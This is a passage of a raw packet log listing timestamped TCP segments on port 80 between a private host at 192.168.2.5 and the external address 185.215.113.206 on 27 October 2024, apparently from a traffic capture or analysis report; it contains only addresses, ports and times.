Oct 27, 2024 07:59:17.307420015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307473898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.307496071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307512045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307528973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307544947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307594061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.307615995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307626009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.307631969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307648897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307677984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307697058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307710886 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.307729959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307733059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.307748079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307754993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.307764053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307780027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307796001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307812929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307826996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307832956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.307832956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.307842970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307940006 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.307940006 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.307949066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.308222055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308238029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308269024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308285952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308301926 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308319092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308320045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.308320045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.308336020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308403015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308418036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308434010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308449030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308464050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308479071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308495045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308511972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308521986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.308527946 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.308527946 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.308531046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308533907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.308535099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.308558941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308562994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.308578014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308593988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308600903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.308610916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308626890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308641911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308670044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308689117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308703899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308712006 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.308712006 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.308712959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.308727026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308743954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308759928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308773994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308785915 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.308793068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308799982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.308799982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.308810949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308828115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308845043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308846951 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.308861017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.308876991 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.309063911 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.424825907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.424845934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.424877882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.424906969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.424918890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.424923897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.424933910 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.424938917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.424953938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.424968958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.424983978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425009966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425026894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425040007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425055027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425090075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425090075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425090075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425090075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425124884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425146103 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425156116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425179005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425185919 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425200939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425234079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425249100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425263882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425277948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425277948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425278902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425292969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425323009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425335884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425374031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425401926 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425419092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425431967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425431967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425432920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425440073 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425440073 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425456047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425456047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425465107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425467014 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425482035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425487041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425503969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425506115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425522089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425524950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425544024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425559998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425576925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425586939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425586939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425591946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425610065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425623894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425635099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425635099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425641060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425657034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425673962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425688982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425719023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425734043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425739050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425766945 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425797939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425817966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425833941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425849915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425864935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425915956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.425920963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425940990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425954103 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425954103 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.425995111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426011086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426019907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426038980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426059008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426070929 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426071882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426086903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426101923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426115036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426115036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426131964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426146030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426153898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426161051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426162958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426188946 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426192045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426208019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426222086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426246881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426253080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426254034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426269054 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426284075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426287889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426301003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426347971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426347971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426386118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426394939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426409960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426424026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426438093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426453114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426467896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426482916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426501989 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426501989 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426511049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426527977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426541090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426541090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426542044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426552057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426558018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426569939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426619053 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426631927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426661968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426676989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426713943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426728964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426738977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426748037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426764011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426788092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426790953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426805019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426810980 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426830053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426837921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426853895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426877975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426889896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426906109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426906109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426906109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426923037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426938057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426979065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.426996946 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.426996946 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427007914 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427015066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427030087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427064896 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427071095 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427073956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427088022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427103043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427126884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427140951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427160978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427175045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427201986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427206993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427206993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427206993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427217007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427232027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427262068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427263021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427278042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427290916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427308083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427319050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427321911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427335024 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427340031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427356005 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427362919 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427397966 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427407026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427422047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427434921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427436113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427526951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427542925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427560091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427560091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427592039 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427601099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427609921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427618027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427634954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427649975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427655935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427670956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427700043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427715063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427730083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427743912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427750111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427750111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427750111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427750111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427774906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427789927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427804947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.427860975 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427860975 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.427872896 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.543200016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543234110 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543262959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543291092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543304920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543327093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543346882 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.543356895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543387890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543402910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543417931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543431044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543447018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543477058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543504953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543520927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543534994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543551922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543565989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543581963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543586969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543595076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543608904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543622971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.543622971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.543622971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.543622971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.543622971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.543700933 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.543700933 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.543845892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543946981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.543946981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.543953896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543967962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543982983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.543998003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544012070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544040918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544056892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544086933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544101000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544117928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544181108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.544195890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.544195890 CET	49704	80	192.168.2.5	185.215.113.206
